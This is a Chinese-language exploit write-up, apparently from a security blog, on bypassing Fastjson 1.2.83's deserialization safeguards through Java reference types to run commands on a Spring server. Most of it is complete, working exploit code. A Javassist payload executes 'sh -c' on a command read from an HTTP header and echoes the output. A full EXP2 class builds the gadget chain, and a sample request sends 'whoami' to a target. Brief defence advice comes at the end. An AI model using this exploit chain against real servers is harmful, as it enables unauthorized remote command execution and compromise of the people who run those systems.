分析探究Java原生链反序列化绕过高版本fastjson打Spring马
字数 857 2025-08-22 18:37:14
Fastjson 1.2.83 反序列化漏洞分析与利用
漏洞概述
本文详细分析Fastjson 1.2.83版本中存在的反序列化漏洞,探讨如何绕过SecureObjectInputStream的resolveClass检查,并构建有效的利用链实现Spring环境下的命令执行与回显。
漏洞代码分析
漏洞存在于ReadController类的getUser方法中:
@Controller
public class ReadController {
@RequestMapping({"/read"})
@ResponseBody
public String getUser(String data) throws Exception {
byte[] b = Base64.getDecoder().decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
Object obj = new ObjectInputStream(inputStream).readObject();
JSONArray dataArray = new JSONArray();
JSONObject item = new JSONObject();
item.put("code", 200);
item.put("status", "success");
item.put("obj", JSON.toJSONString(obj));
dataArray.add(item);
return dataArray.toJSONString();
}
}
关键问题点:
- 直接反序列化用户输入的Base64数据
- 使用ObjectInputStream进行原生反序列化
- 将反序列化结果通过Fastjson转换为JSON字符串
依赖环境
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
</dependencies>
Fastjson高版本安全机制
从Fastjson 1.2.49开始:
- JSONArray和JSONObject实现了自己的readObject方法
- SecureObjectInputStream类重写了resolveClass方法
- 通过checkAutoType方法进行类安全检查
绕过resolveClass的方法
研究发现某些类型不会调用resolveClass方法:
- NULL
- REFERENCE(引用类型)
- STRING
- LONGSTRING
- EXCEPTION
其中可利用的是REFERENCE引用类型。通过向List、Set、Map类型中多次添加同一对象可以构造引用类型:
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
利用原理:两次readObject方法调用可以绕过resolveClass检测
利用链构建
完整的利用链:
BadAttributeValueExpException#readObject ->
JSONArray#toString ->
JSONArray#toJSONString ->
getter方法调用
回显马构造
由于环境不出网且无回显,需要使用Javassist动态生成恶意类,并通过HTTP Header传参实现命令回显。
Javassist动态类生成
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
// 移除默认构造函数
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
// 添加恶意构造函数
clazz.addConstructor(CtNewConstructor.make(
"public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = \n" +
" org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = \n" +
" ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = \n" +
" ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream())\n" +
" .useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
"}", clazz));
// 设置Java版本兼容性
clazz.getClassFile().setMajorVersion(50);
// 设置父类
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
完整EXP代码
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class EXP2 {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static CtClass genPayload() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make(
"public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = \n" +
" org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = \n" +
" ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = \n" +
" ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream())\n" +
" .useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
"}", clazz));
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload().toBytecode()});
setValue(templates, "_name", "xxx");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
利用方式
- 使用EXP2生成恶意序列化数据
- 将生成的Base64编码数据作为参数传递给/read接口
- 在HTTP请求头中添加"C"字段,值为要执行的命令
示例:
GET /read?data=<生成的Base64数据> HTTP/1.1
Host: target.com
C: whoami
防御建议
- 避免直接反序列化不可信数据
- 升级到Fastjson最新版本
- 使用白名单机制限制反序列化的类
- 使用安全的JSON解析方式替代原生反序列化